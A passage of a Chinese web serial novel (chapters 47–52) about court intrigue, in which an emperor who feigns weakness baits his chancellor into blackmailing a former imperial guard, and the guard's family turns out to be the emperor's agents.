“哀家看你才是被猪油蒙了心!”徐妙晴高抬起手,指着郑遂。 “哀家不指望徐敬若,难道指望你这个连徐敬意都压不住的窝囊废皇帝?你除了躲在深宫里瑟瑟发抖,你还能做什么?!” 徐妙晴越说越激动,到最后几乎是吼了起来。 “哀家告诉你,哀家不靠你了!徐敬若再不堪,也比你这废物强!至少他敢去咬人!哀家赏他,就是要用他!用他去咬死徐敬意!至于你……” 徐妙晴眼中寒光一闪,带着赤裸裸的威胁,缓缓走下凤榻,逼近郑遂。 “皇帝,你最好识相一点,乖乖待在宫里,别挡哀家的路。否则这深宫大内,死个把人,无声无息,也不是什么难事。哀家能让你坐着这个位置,自然也能让你消失。” 郑遂像是被这毫不掩饰的杀意彻底吓住了,脸色瞬间煞白,身体也开始控制不住地微微颤抖。 他踉跄着后退一步,指着徐妙晴,嘴唇哆嗦着。 “你……你……毒妇!你竟敢……” “滚!”徐妙晴猛地一挥袖,厉声喝道。 “给哀家滚出去!看见你这副窝囊样子哀家就来气!” 郑遂猛的脚步一踉跄,又在接触到徐妙晴的怨毒的目光时猛然一颤,几乎是落荒而逃的冲出了寿康宫。 徐妙晴看着那紧闭的殿门,刚才强撑的气势泄去,疲惫和空虚感瞬间席卷了她。 她扶着凤榻缓缓坐下,手却紧紧攥住了扶手。 威胁皇帝这步险棋,终究是走出去了。 可她心中并无多少快意,反而满是孤注一掷的悲凉。 而郑遂踉跄的身影在冲出寿康宫宫门范围的瞬间,便陡然挺直,哪里还有半分方才的狼狈? “徐妍。”郑遂唤过一直候在暗处的身影。 “奴婢在。”徐妍立刻上前,垂首听命。 “立刻去通知江如松。”郑遂的眼神望向远方。 第47章 不如稍稍放权 “让他快马加鞭,将今日寿康宫发生的一切送入云州!” “是!”徐妍心头一凛,不敢有丝毫耽搁,立刻领命而去。 郑遂独自站在空旷的回廊下,负手而立,望着寿康宫的方向,唇边缓缓勾起一抹冷笑。 饵,已经下得足够香,足够诱人。 网,也已悄然张开。 现在,就等云州那条最凶猛的恶狼,闻着血腥味,回身扑咬了。 —— 云州,楚王府临时征用的议事厅内。 徐敬意身着玄色蟒袍,高踞主位,正听着几名心腹幕僚低声汇报着近日拉拢地方官员的进展,厅外便忽然传来一阵急促而压抑的脚步声。 徐敬意被扰,心觉不满,正欲发火,却听来者急切的道:“相爷!京城八百里加急密报!” 厅内众人瞬间噤声,目光齐刷刷投向门口。 徐敬意眉头一皱:“进!” 亲卫统领几乎是撞进来的,双手捧着一个封着火漆的小竹筒,扑通跪倒。 “相爷!是咱们的人发出的密报!送信人累毙了三匹快马!” 徐敬意心头猛地一沉,一股不祥的预感瞬间攫住了他。 他劈手夺过竹筒,指甲粗暴地刮开火漆,抽出里面卷得紧紧的信笺。 展开信纸,字迹跃入眼帘。 徐敬意一目十行,越看脸色越沉。 砰——哗啦! 一声巨响伴随着瓷器碎裂的刺耳声响彻议事厅! “徐妙晴!徐敬若!好!好一对狗男女!好一个吃里扒外的毒妇!好一个不知死活的竖子!” 徐敬意暴跳如雷。 “区区庶子,安敢如此欺我?!毒妇安敢如此叛我?!” 徐敬意猛地抽出腰间悬挂的宝剑,指向虚空,仿佛要隔空将那两个名字的主人碎尸万段。 “本相在外为她徐家出生入死,她倒好!竟在背后勾结那个下贱的庶出杂种,窃我权柄,辱我声威!还赐他亲王仪仗?!她怎么不直接把玉玺也送给他?!还有那个郑遂!废物!窝囊废!竟被一个妇人吓得屁滚尿流!他这皇帝当得还有什么用?!” 徐敬意猛地转身,对着跪在地上的亲卫统领厉声嘶吼。 “传令!即刻点齐本相亲卫!备马!本相要立刻回京!” 他倒要看看,徐妙晴和徐敬若那两个狗东西,还有那个废物皇帝,拿什么来承受自己的怒火! 杀气冲天! 厅内温度骤降,所有人都感受到了丞相那毁天灭地的愤怒。 “相爷息怒!相爷三思啊!” 跪在最前列的一位白发老幕僚猛地抬起头,高声劝阻。 “息怒?!三思?!”徐敬意血红的眼睛死死盯住他,剑锋几乎要指到老幕僚的鼻尖。 “你让本相如何息怒?如何三思?他俩这是在掘本相的根基,本相若不立刻回京将他们挫骨扬灰,威严何在?天下人将如何看待本相?本相还有何面目立于朝堂!” 老幕僚额头冷汗涔涔,颤颤巍巍的迎着那几乎要噬人的目光,极力劝说。 “相爷,老朽深知相爷震怒!此等背主忘恩之举,千刀万剐亦不为过!但相爷,请听老朽一言!此刻回京,只怕功亏一篑!” 徐敬意剑锋微顿,眉头拧成一个死结。 “相爷!您此刻在云州,清剿收拢保皇党已至关键!楚王虽病弱,但一日未薨,便是一面旗帜!北方数位藩王虽听到风声后亦来信问候,可表面臣服,实则暗流涌动,都在观望!南方几处兵镇,也尚未完全收服!此乃我根基未稳之时啊!” 徐敬意安静了下来。 是啊,若此时因怒回京,云州之事必将功亏一篑。 保皇党残余一旦灰复燃,再加之那些本就心怀叵测的藩王若趁机以清君侧为名起兵,徐敬意还如何抵挡? 届时,徐敬意腹背受敌,纵有通天之能,也恐力有不逮啊! 徐敬意的怒火被这冰冷的分析浇熄了些许,但眼中的戾气丝毫未减。 “难道就让徐妙晴和徐敬若在京城逍遥?让那废物皇帝看本相的笑话?!” “非也!相爷!”幕僚眼中精光一闪,压低声音,“相爷不便即刻回京,但京城并非无人可用!那郑遂小儿,不就是现成的一把刀吗?” “郑遂?”徐敬意眼神锐利起来,带着审视,“他?一个被太后吓得落荒而逃的废物?” “正是此废物,才堪大用!”幕僚嘴角露出一丝老谋深算的笑意。 “相爷,郑遂怕太后,更怕相爷您!他如今被太后如此赤裸裸地威胁,心中岂能不恨?此时若相爷您以忠君体国之名,秘密遣一心腹,携带重礼与承诺入宫面圣……” 郑遂毕竟是皇帝,会喜欢的。 徐敬意眉头紧锁,陷入了深思。 扶持郑遂牵制太后和徐敬若? 此计……倒也有几分可行。 郑遂懦弱无能,放些权力给他,他也翻不起大浪,反而能让他感恩戴德,替本相在京城搅乱那潭浑水,分散徐妙晴和徐敬若的注意力。 回头等徐敬意腾出手来…… 但徐敬意仍有疑虑。 京中还有一个江如松呢。 目前来看,那不老实的江如松大概率是借着郑遂当幌子,实则支持的是徐妙晴。 但是万一自己放权,这江贼忽然“迷途知返”,倾全力支持郑遂,那可就…… 幕僚连忙道:“相爷所虑极是,江如松确有几分城府。但此计关键在于度!相爷只需给皇帝一点甜头,一点希望,让他看到摆脱太后控制的可能,他必会全力以赴去咬徐敬若和太后!至于江如松本身?空有财力却无兵无将,朝中根基浅薄。待相爷掌握绝对力量回京之日,他不过仍是相爷掌中玩物!” 所以,江如松会不会反扑不要紧,要紧的是,不能让郑遂有一点兵权。 这样即便江如松费劲浑身解数,收拢天下习武之人,可也终究不敌徐敬意手中实打实的军队啊! 徐敬意神色终于有所松动。 此言倒是有理。 只是在此之前,还有一件事非做不可。 “老皇帝留了一支禁军。”徐敬意若有所思的看向幕僚。 幕僚立刻正色:“相爷放心,我等立刻倾尽全力,替相爷去寻!” 第48章 那就让他们如愿 徐敬意的心情这才好了些许。 他勾唇一笑。 徐敬若……徐妙晴…… 呵,希望你们能多多珍惜当下。 窗外,一个几乎与夜色融为一体的影子微微一顿,随即悄无声息地贴着墙根,迅速远离。 如一道幽灵般,消失在通往府邸外围的阴影里。 乾清宫。 郑遂原是打算入眠的,因而烛火被刻意调得很暗,只能勉强勾勒出郑遂坐在御案后的轮廓。 他手中捏着一封刚由徐妍从密道取来的薄薄信笺。 郑遂一目十行,嘴角先是微微绷紧,随即,一丝难以抑制的弧度缓缓向上扬起,肩膀不禁轻轻耸动。 终于,一声畅快的轻笑在寂静的乾清宫响起。 “哈哈哈哈哈……” 这封信看的郑遂痛快极了。 “徐贼啊徐贼,饶你奸猾似鬼,终究还是喝了朕的洗脚水!” 他抬起头,眼中哪里还有半分在人前时的懦弱惊惶。 分明是志在必得! 可笑徐敬意身边养着这么一群大聪明,也真是难为他了。 自己不过是逼的徐妙晴不得不演了一出狗急跳墙,再让那不成器的徐敬若亮一亮獠牙,这头盘踞云州的恶狼,就急不可耐地要咬人了? 妙!妙极! 郑遂将密信凑近烛火,火舌舔舐纸角,瞬间将其吞噬,化作一缕轻烟消散。 “徐敬意想借朕这把钝刀去搅乱京城这潭水,替他分担压力。”郑遂含笑看向徐妍。 “那你觉得,该如何?” 徐妍躬身,谨慎道:“让其如愿,不仅如愿,还要再添一把火。” 直到烧得顾头不顾腚才好! 郑遂微微颔首:“你成长了。” 随即道:“去传信吧。” 徐妍躬身行礼:“是。” 徐妍悄无声息的来到了宫中密道,进入其中后,手指在几块看似普通的墙砖上有规律地按动了几下。 轻微的机括声响起,一小块墙壁无声地滑开。 徐妍轻声道:“传令,即刻行动,目标云州徐敬意。记住,只引,不露,让徐贼自己发现。” 黑暗中,似乎有极其轻微的呼吸波动了一下,随即归于沉寂。 七日后,荆州官道。 尘土飞扬,一行车马疾驰。 徐敬意急于求成,干脆舍弃了舒适的水路,选择了更快的陆路,直奔荆州韩王封地。 韩王是宗室里一个明显态度暧昧不明的藩王,徐敬意此行,就是要以雷霆手段,或慑服,或剪除,总之必要拿下韩王。 马车内,徐敬意闭目养神,但却眉头紧锁。 今日一早收到线报,说云州楚王那边刚传来病体垂危的消息,随即北边几个藩王表面恭顺的回信也到了,但字里行间依旧透着观望。 京城那边,派去的密使应该已经接触到了郑遂,却尚无具体回音。 还有徐妙晴和徐敬若…… 每每想到那懿旨上的内容,一股邪火就直冲顶门。 就在这时,急促的马蹄声由远及近,一骑快马如离弦之箭,冲破护卫的阵列,直抵马车旁。 骑士浑身风尘,几乎是从马背上滚落下来。 “相爷!急报!禁军……有眉目了!” “嗯?!”徐敬意猛地睁开眼。 他一把掀开车帘:“说!什么眉目?” 那骑士喘着粗气,脸上却满是兴奋之色:“回禀相爷!咱们撒出去的探子费尽周折,终于循着当年一个负责采买的老禁军头目这条线,摸到了一点踪迹!” 据说当年禁军奉命分散潜伏之时,并非所有人立刻散去,其中有一小部分核心,曾秘密携带一批东西,在京城周边隐匿了很长一段时间。 后来才陆续分散,隐姓埋名。 其中一个小头目,名叫贺本宗,诨名贺二。 此人曾负责兵器库的登记造册,极可能知道这支禁军部队的内情。 最重要的是,探子查到,此人如今就隐居在距离荆州不远的正阳村! “正阳村?!”徐敬意瞳孔骤然收缩,随即一股狂喜喷涌而出。 荆州!正阳村!这简直就像是老天爷特意为他铺好的路! 他刚刚离开云州不久,这线索就送到眼前,而且就在他即将抵达的荆州附近! “天助我也!哈哈哈哈!”徐敬意再也抑制不住,爆发出一阵震耳欲聋的狂笑。 什么徐妙晴,什么徐敬若? 只要拿到禁军的线索,掌握这支大齐最有力的力量,这天下,还有谁能挡他? “好!好!好!”徐敬意连说三个好字,眼中精光爆射,杀伐之气冲天而起。 “立刻改道!不去荆州城了!去正阳村!给本相围了,一只鸟都不准飞出去!务必将那贺二,给本相毫发无伤地‘请’来!” “相爷!”旁边随行的心腹幕僚脸色一变,急忙策马上前劝阻。 “相爷三思!正阳村虽小,但那贺二既是禁军,身手绝非等闲!我们此行是轻车简从,精锐亲卫不足百人。一无调动地方兵马的虎符,二来对方实力不明,若是强行动手,恐有折损,也怕打草惊蛇啊!不如到了荆州,调集韩王麾下府兵……” “调兵?”徐敬意厉声打断,脸上尽是急不可耐。 “等调兵,黄花菜都凉了!禁军又如何?是人就有弱点!是人就有软肋!” 他们不是死士,是活生生的人! 是人就会怕死,会贪财,会顾念家人! “给本相立刻去查!,挖地三尺也要查清楚,这贺二在正阳村这些年,有没有留下什么把柄!有没有妻儿老小!” 徐敬意的命令一下,随行的亲卫中立刻分出数名精干探子,快马加鞭扑向正阳村的方向。 两个时辰后,天色已近黄昏。 探子终于回报,消息确认无误。 贺二确在正阳村隐居多年,化名贺壮实,以打铁为生。 因为人低调,但身手极好,村中无人敢惹。 后来他在正阳村与村中一女子成婚,婚后育有一子,妻子体弱多病,儿子尚在稚龄。 更关键的是,探子通过探查,竟意外翻出了陈年旧账。 这贺二在多年前,老皇帝还在世时,曾利用职权之便,收受地方小吏贿赂,插手过一次一个县尉的升迁调任。 第49章 他们不是死士 虽然事情不大,且年代久远,但这足以证明,他并非无懈可击。 “好!人赃俱在!”徐敬意眼中寒光大盛。 “有妻儿,有贪腐旧案在手!本相倒要看看,你这老实的铁匠骨头有多硬!动手!” 马蹄声再次急促响起,直扑暮色笼罩下的宁静的正阳村。 正阳村,贺家小院。 夜色浓稠如墨,将小小的村庄彻底吞没。 只有村东头那间简陋的铁匠铺后院,还亮着一豆昏黄的灯火。 贺二刚伺候体弱的妻子喝了药睡下,又给熟睡的儿子掖了掖被角。 便走到外间,就着油灯微弱的光,拿起一块烧红的铁胚,准备再打几把锄头补贴家用。 粗粝的手掌抚过冰冷的铁砧,动作沉稳有力,指节处布满厚厚的老茧。 但他的背脊依旧挺直如标枪,只是鬓角染了些许风霜。 岁月洗去了做禁军精锐时的锋芒,却沉淀下更深的警觉。 就在他抡起铁锤,即将砸下的瞬间,握着锤柄的手却猛地顿在了半空。 风里似乎夹杂着一丝极其微弱、几乎被虫鸣掩盖的异响。 是夜行衣掠过草叶的簌簌声!不止一人!而且步伐轻盈迅捷,绝非寻常村夫! 贺二的心猛地一沉。 十几年了,还是找来了吗? 他没有丝毫犹豫,手腕一抖,沉重的铁锤无声地落在铺满干草的地上。 自己则如同一道融入夜色的影子,悄无声息地滑到门后,侧耳倾听。 院墙外,几道黑影如同鬼魅般翻越而入,落地无声,迅速分散,目标直指亮着灯的正屋。 动作干净利落,显然是训练有素的好手! 贺二眼中寒光一闪。 来不及细想来者是谁,但敌意昭然若揭。 他猛地拉开房门,高大的身影堵在门口,如同门神,低沉的喝问在寂静的夜里炸响。 “什么人?!” 闯入的黑影显然没料到目标反应如此之快。 领头之人瞳孔一缩,心知无法善了,低吼一声:“拿下!” 身后之人如同闻到血腥味的鬣狗,同时从三个方向猛扑上来。 一人直取中路咽喉,一人攻下盘双腿,另一人则挥刀横扫,封住贺二左右闪避的空间。 配合默契,狠辣刁钻。 贺二冷哼一声,不退反进。 面对中路锁喉的鹰爪,他左手探出,后发先至,精准地叼住对方手腕,五指如铁钳般猛然发力。 咔嚓一声令人牙酸的骨裂声响起! 同时他右腿如同钢鞭般扫出,狠狠抽在攻向下盘的敌人膝盖外侧。 那人只觉得一股沛然莫御的巨力传来,腿骨剧痛,惨叫着翻滚出去。 电光火石间解决两人,横扫而来的刀锋已至腰际。 贺二顺势拧身,借着旋身之力,一记凶猛无比的回旋肘击,如同重锤般狠狠砸在第三名刀手的太阳穴上! “砰!” 沉闷的撞击声响起。那刀手连哼都没哼一声,双眼翻白,软软地瘫倒在地,手中钢刀当啷落地。 兔起鹘落,不过呼吸之间! 三名精锐好手,一个手腕碎裂,一个腿骨折断,一个直接昏死。 贺二站在原地,气息甚至都没有明显的变化,只是眼神更加冰冷,如同看着三只不自量力的蝼蚁。 “就这点本事,也敢来拿人?”贺二的声音在死寂的院子里回荡。 他缓缓抬起沾着敌人血迹的手,指向院墙外更深的黑暗。 “滚出来!藏头露尾的东西!” 然而回答他的并非预想中的围攻或暗器,反而是一阵沉稳缓慢的掌声突兀地从院门口的方向响起。 啪…啪…啪…… 一个高大的身影在火把骤然亮起的刺眼光芒中,缓缓踱入院内。 玄色蟒袍在火光下反射着幽冷的光泽,如同披着一身夜色。 徐敬意脸上挂着一丝意味不明的战意,眼神牢牢锁定在贺二身上。 “好身手!果然不愧是当年拱卫宫禁的禁军精锐!贺本宗,贺二爷……本相找你,找得好苦啊!” 贺二的心顿时沉到了谷底。 丞相徐敬意!竟然是他亲自来了! 但更让他浑身血液瞬间冻结、目眦欲裂的,是徐敬意身后! 两名徐敬意的亲卫正死死地钳制着自己的妻儿。 妻子早已吓得面色惨白,而年幼的儿子更是在粗壮侍卫的铁臂中挣扎哭喊:“爹!爹爹!” “阿蓉!虎子!”贺二怒吼一声。 全身的肌肉瞬间僵硬如铁,刚才那横扫千军的气势荡然无存,只剩下无尽的惊怒和恐惧。 他死死地盯着徐敬意,双眼瞬间布满了血丝。 徐敬意满意地看着贺二瞬间崩溃的防线,脸上的笑容愈发森然。 他微微抬手,示意亲卫将哭喊挣扎的母子向前推了半步,如同展示两件脆弱的战利品。 “贺二爷,本相是个讲道理的人。”徐敬意轻声道。 “说出其他禁军的去处,你妻儿自然平安无事。若是不然……” 他故意拖长了语调,目光扫过那对惊恐万分的母子。 “本相会让你亲眼看着,什么叫……生、不、如、死。” “去处……”贺二艰难地从喉咙里挤出来字来。 “……我不知情。” “哦?”徐敬意拖长了调子,眼中的戏谑和冰冷毫不掩饰。 他微微侧头,目光扫过贺二妻子那张因恐惧而扭曲的脸。 “贺二爷,这话,你信吗?本相……可不信。” 他抬了抬手,身后钳制着贺二妻子的亲卫会意,猛地用力一捏妇人单薄的肩胛骨! “啊——!” 凄厉的惨叫划破夜空,妇人痛得浑身痉挛,豆大的冷汗瞬间浸湿了鬓角,脸色由惨白转为死灰。 “娘!”虎子的哭喊更加撕心裂肺。 贺二浑身剧震,目眦欲裂,向前猛地踏出半步! “住手!” 贺二怒吼:“当年兄弟们是秘密分头离开,我真不知去处!” 徐敬意的耐心显然快耗尽了。 他冷哼一声,向前逼近一步。 “贺延宗,你当本相是三岁孩童,任你戏耍?”徐敬意的声音陡然拔高。 “这支禁军是老皇帝特地留的,就是为了那个烂泥扶不上墙的小皇帝,你们关系社稷根本,岂是你说不知就不知的?看来,你是不见棺材不落泪!” 第50章 你忘了个重要的东西 他猛地一挥手,厉声喝道。 “给本相打断这妇人的一条腿!本相倒要看看,贺二爷的铁石心肠,能硬到几时!” “遵命!”动手的亲卫眼中凶光一闪,毫不犹豫地抬起穿着硬底官靴的脚,就要朝着妇人瘦弱的膝盖狠狠跺下。 “慢着!”贺二几乎是吼出来的。 他猛地抬起手,做出一个阻止的动作,身体却微不可察地向侧后方挪了半步。 正好处于一个既能遮挡住妻子部分方向,又便于发力冲向院门的角度。 “相爷息怒!”贺二的声音急促起来。 “相爷若早知道所有人的去向,的确强人所难。但……但小人知道……知道其中一部分在哪里!” 他语速飞快,眼神闪烁着。 “当年与我一起离开的,是赵川珩!他……如今可能……可能就藏在京城西郊……他当年手下之人最多,想来…想来……” 他一边语无伦次地说着线索,一边状似紧张地抹了一把额头上根本不存在的汗。 就在手掌划过额头的瞬间,贺二借着抹汗的动作极其隐蔽地屈指一弹。 一枚细小的的铁屑如同被强弩射出,直射向院门口离他最近的一个举着火把的亲卫面门。 这一下变生肘腋,快如闪电! 那亲卫只觉眼前一花,根本来不及反应! “噗嗤!” 一声轻响,伴随着一声短促的惨嚎,那枚灌注了铁屑精准无比地射入了亲卫的眼窝。 鲜血混合着眼球碎裂的浆液瞬间迸溅! “啊!我的眼睛!”亲卫手中的火把脱手飞出,惨叫着捂脸倒地翻滚,火光顿时一暗! 几乎在铁屑射出的同时,贺二动了! 他整个人化作一道模糊的黑影,冲向妻儿,迅速将他们夺下,而后入离弦之箭,直扑向院门方向。 只要进了村外的山林,就有周旋的余地! “找死!”徐敬意暴怒。 “拦住他!”徐敬意的咆哮响彻小院。 距离院门最近的两名亲卫反应极快,虽然被同伴的惨状惊了一下,但还是立刻拔刀,交叉着狠狠劈向贺二冲刺的身影。 贺二眼中精光爆射,面对劈来的双刀,竟不闪不避。 他猛地吸一口气,将妻儿推向一旁安全处,身子迅速一转。 两道布帛撕裂声响起!冰冷的刀锋几乎是贴着他的肋骨和后背划过,险之又险地割开了他的外衣,带起一丝血线。 贺二闷哼一声,硬生生用身体承受了刀锋的擦伤,却借着对方劈砍的力道和自身拧转的冲势,如同泥鳅般从双刀的缝隙中滑了出去。 速度不减反增,眼看就要冲破那因混乱而薄弱的封锁线! “哼!”徐敬意冷哼一声。 他身影不知何时已经出现在他突围路径的正前方,脸上挂着一种看透一切的嘲弄。 “贺二爷,好俊的功夫,好快的身手。”徐敬意的声音平静得可怕,“可惜,你忘了一件重要的事……” 他的右手一直负在身后,此刻,那只手却缓缓抬起,手中赫然捏着一卷颜色陈旧。 徐敬意的目光如同淬毒的冰锥,死死钉在贺二瞬间僵硬的脸上,嘴角勾起一抹残酷至极的弧度。 “你还有条尾巴,落在本相手里!” 话音未落,他手腕猛地一抖! 那卷陈旧的纸朝着贺二的面门狠狠甩去。 “啪!” 一声脆响,纸卷不偏不倚,正正砸在了贺二格挡的手臂上,然后弹开,散落在地。 几张泛黄的纸页在昏黄的火光下摊开,上面密密麻麻写满了蝇头小楷,还盖着早已褪色的朱红官印。 其中一页被风卷起一角,露出了几个触目惊心的字眼。 “……正德十七年……永平县尉……贺本宗……收受纹银二百两……擅改考功评语……举荐……调任……” 轰——! 贺二只觉得脑袋里像是炸开了一个惊雷,全身的血液瞬间冲上头顶,又在刹那间褪得干干净净,四肢百骸瞬间冰凉僵硬! 是他当年做下那件隐秘勾当,却本该被销毁的卷宗! 是他以为早已被岁月尘封、无人知晓的罪证! 徐敬意……他竟然连这个都挖了出来? 而且就在此时此地,如同甩垃圾一样甩在了他的脸上! 巨大的耻辱和更深沉的恐惧如同冰冷的毒蛇,瞬间缠绕住贺二的心脏,将他刚刚燃起的突围斗志撕扯得粉碎。 “怎么?不认识了?”徐敬意向前一步,靴子踩在散落的罪证之上。 “贺本宗,贺二爷?还是该叫你……贺壮实?铁匠?或者……贪赃枉法、买卖官职的……罪吏?” “本相说过,是人就有弱点。”徐敬意的目光如同高高在上的神祇,俯视着脚下卑微的蝼蚁。 “你的骨头再硬,能硬得过王法?能硬得过本相手里的刀?” 贺二的身体剧烈地颤抖起来,不是害怕,而是极致的愤怒和无力感在疯狂撕扯着他! 他看着徐敬意踩在罪证上的靴子,看着妻儿绝望的眼神,又看着周围虎视眈眈的亲卫,一股从未有过的悲凉和绝望涌上心头。 “扑通!” 贺二那如同标枪般挺直的脊梁,在徐敬意冰冷的目光和那散落在地的罪证面前,终于不堪重负,轰然弯折! 他双膝重重地砸在冰冷坚硬的泥地上。 “……相……相爷……”贺二声音颤颤巍巍。 “小人……知罪……”他艰难地喘息着,每一个字都像是从肺腑里挤压出来,“还有同僚在……在……在……” 可就在他即将吐出最关键信息的刹那,异变再生。 一道黑影毫无征兆地从贺二身后那堆杂乱的柴草垛中暴起。 而他的目标,赫然是站在贺二正前方,自以为已经掌控一切的徐敬意。 一柄短刃无声无息直刺徐敬意的咽喉要害! 时机、角度、速度,都刁钻狠辣到了极致! 这分明是蓄谋已久、等待这心神激荡瞬间的绝杀一击! “相爷小心!”距离徐敬意最近的亲卫统领反应已是极快。 但,还是太迟了! 那锋利的刃尖,此时距离他脆弱的咽喉,只剩不过三寸之遥! 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第51章 你当真忠心 而后又是一声刃尖刺破空气的锐响,直逼徐敬意咽喉! 护卫们目眦欲裂却救援不及,徐敬意瞳孔骤缩。 就在这此时,一道身影闪过,竟比所有人的反应都快! 是贺二! 他并非冲向刺客,而是左脚猛地一跺地面,身体借力矮身侧滑,右臂闪电般自下而上精准地叼住了刺客持刃的手腕。 动作之快,几乎只剩残影。 众人惊叹,这不正是绝迹已久的锁喉擒腕绝技“金丝缠”! 咔嚓! 令人牙酸的骨裂声响起! 刺客手腕被硬生生折断,短刃脱手飞出! 贺二动作毫不停滞,借势拧身,左肘如同攻城重锤,狠狠撞在刺客因剧痛而微张的下颌。 砰! 刺客哼都未哼一声,头颅以一个诡异的角度猛地后仰,颈骨发出清晰的碎裂声,整个人如同破麻袋般软倒下去,再无声息。 贺二保持着击肘的姿势,大口喘着粗气,胸膛剧烈起伏。 他看着地上刺客瞬间毙命的尸体,又看看自己沾着血污的手,眼神一片茫然,似乎连自己都不敢相信刚才做了什么。 “咳咳……”徐敬意捂着脖子踉跄后退两步,脸色由死白转为潮红,剧烈咳嗽起来。 他惊魂未定地看着地上刺客的尸体,再看向贺二时,眼中充满了劫后余生的后怕。 “贺、贺壮士!”徐敬意声音带着一丝不易察觉的颤抖,他推开欲上前搀扶的亲卫,快步走到贺二面前,目光灼灼地盯着他。 “好!好身手!本相这条命,是你救的!” 他用力拍了拍贺二的肩膀,力道很大:“可你为何、为何要救本相?你方才不是恨不能食我肉寝我皮?” 贺二身体猛地一颤,脸上的茫然迅速被巨大的恐惧取代。 他再次重重跪下,额头死死抵着冰冷的泥地,声音抖得不成样子。 “相、相爷!小人……小人不敢!小人只想求相爷开恩!” 贺二猛地抬起头,眼中满是哀求,手指颤抖地指向地上散落的陈旧纸张。 “那、那件事!求相爷高抬贵手,替小人瞒下!小人只想带着妻儿,苟延残喘,再不敢有半分异心!求相爷!求相爷了!” 他磕头如捣蒜,额角瞬间青紫一片,仿若卑微到了尘埃里。 预想中的威压或应允并未到来。 “哈哈哈哈哈……” 一阵得意到甚至带着几分嘲弄的大笑陡然响起,打破了院中的死寂。 徐敬意仰天大笑,笑得肩膀耸动,仿佛看到了天底下最好笑的事情。 就在贺二惊愕抬头之际,更让他魂飞魄散的一幕发生了! 地上那具被他一肘毙命、颈骨碎裂的“尸体”竟用手撑着地面,缓缓地坐了起来! 贺二如遭雷击,整个人彻底僵在原地,大脑一片空白。 坐起的“尸体”抬手,一把扯下了蒙面的黑巾,露出一张贺二绝想不到的脸! 竟是保皇党中,一个大臣身边颇有名气的年轻高手。 贺二曾在多年前的宫宴上远远见过一次,印象深刻! “你、你是……”贺二失声惊呼,后半句却死死卡在喉咙里。 徐敬意止住笑声,脸上带着掌控一切的得意。 他踱步到贺二面前,亲手将他扶起,甚至还掸了掸他衣襟上并不存在的灰尘。 “贺壮士。”徐敬意的声音变得异常温和,甚至带着一丝“欣慰”。 “受惊了。本相此举,实非得已,只为试你真心。” 他目光扫过那“复活”的刺客,后者活动着脖子,对贺二露出一个意味深长的笑。 “看见了吗?他们不是死士,是活生生的人,是本相精心安排的死士替身。”徐敬意语重心长,仿佛在教导一个迷途知返的部下。 “你方才若真对本相起了杀心,或者袖手旁观,此刻,你和你妻儿的尸体,就该凉透了。” 贺二脸上血色尽褪,嘴唇哆嗦着,眼神从震惊到茫然,再到一种被愚弄后的巨大屈辱和无力感。 “相、相爷……” “很好!贺本宗!你果然没让本相失望!危急关头,骨子里流的还是大齐禁军的忠勇之血!” 徐敬意用力拍着贺二的肩膀,力道大得让贺二身形微晃。 “老皇帝没看错人!本相,更没看错人!” 他话锋一转:“既然你忠心可鉴,本相便给你一个将功折罪,更是光耀门楣的机会!” 他凑近贺二耳边,声音压得极低。 “去找!用你禁军的身份和暗号,去把其他失散的兄弟,都给本相找出来!尤其是你说的那个赵川珩!告诉他们,大齐的天要变了,跟着本相,才是唯一的生路,更是泼天的富贵!” 贺二身体僵硬,眼中惊怒交织,可最终还是化为一片死寂。 他喉结艰难地滚动了一下。 “小人……遵命。” “很好!”徐敬意满意地大笑,“本相等你的好消息!” 他一挥手,带着众人大摇大摆地走出小院。 马蹄声迅速远去,消失在夜色中。 确认人已走远,贺二脸上那卑微惊恐的表情瞬间褪去,瞬间变得沉静如水,甚至带着一丝冰冷的讥诮。 而角落里,他那“体弱多病”被吓瘫在地的妻子,此刻利落地站起身,拍了拍身上的尘土。 眼神清明冷静,哪有半分惊惧? 哭喊的儿子也收起了所有表情,小脸绷得紧紧的。 贺二走到妻子面前,低声嘱咐。 “传讯给主子,‘鱼’已咬钩,徐贼急寻禁军。‘饵’已放出,目标赵川珩。徐贼,上当了。” 京城,承平门外。 一架装饰华丽、逾制的八抬辇轿在众多护卫的簇拥下,招摇过市。 辇轿上明黄色的流苏和凤纹装饰刺目无比,却恰恰在彰显这是太后徐妙晴亲赐的仪仗! 辇轿上,徐敬若一身锦袍,斜倚着软垫,脸上挂着志得意满的笑容,享受着路人投来的的目光。 这几日,他拿着太后的懿旨和“便宜行事”的口谕,如同开闸的洪水,在京中权贵圈子里横冲直撞,几乎已经是家常便饭了。 第52章 朕无用 他还登门拜访了数位朝中大臣。 对于有几位素以刚正闻名的老臣,他甚至连敷衍都懒得做足,趾高气扬地传达“太后旨意”,便拂袖而去,留下身后一片鄙夷的议论。 “什么东西!一个商贾庶子,也配登我尚书府的门庭?” “仗着太后的势,真当自己是个人物了?比乃兄徐相,差了何止云泥!” 而对于那些本就立场摇摆、或是徐家派系边缘的人物,徐敬若则毫不吝啬。 珍玩古画、金银珠宝流水般送出去,在京城最奢华的酒楼包下整层,夜夜笙歌,极尽拉拢之能事。 “徐二爷豪气!” “日后还望二爷在太后面前多多美言!” 席间,谄媚之声不绝于耳。 然而推杯换盏之下,那些被招待的官员眼中,轻视与算计同样清晰。 在他们看来,徐敬若不过是个骤然得势、根基浅薄的暴发户,一个被太后推出来搅局的棋子。 其价值,还远不如权倾朝野、根基深厚的徐敬意。 与其说是结交,不如说是看在他背后太后和可能带来的短期利益份上,虚与委蛇。 “商贾之子,终究上不得台面……” “且看他能得意几时?徐相岂能容他?” 京中议论纷纷,暗流汹涌。徐敬若的张扬跋扈,成了早朝前最热门的话题。 而金銮殿上,气氛更是压抑。 几位御史,别管靠谱的不靠谱的,亲皇的亲徐的,都终于有些按捺不住,出列弹劾徐敬若种种不是。 “陛下!太后懿旨赐仪仗本为殊荣,然徐敬若以此招摇,结交外臣,其心叵测!长此以往,国将不国!” “陛下!外戚干政,前朝殷鉴不远!请陛下明察!” 龙椅上,郑遂身体微微蜷缩着,脸色苍白,眼神躲闪。 甚至听着大臣们激烈的言辞,身体也开始微微发抖。 “爱、爱卿们……”郑遂的声音细弱蚊蝇,带着浓重的鼻音。 刚说了这么一句,他就仿佛承受不住这巨大的压力,眼圈迅速泛红,泪水在眼眶里打转。 “朕、朕知道,朕没用……” 郑遂哽咽着,声音陡然拔高。 “太后……太后是朕的母后……她、她想要什么……朕、朕能怎么办?徐、徐家舅舅远在藩王封地,京里是徐家大舅的……他们、他们都比朕厉害……朕、朕就是个摆设……” 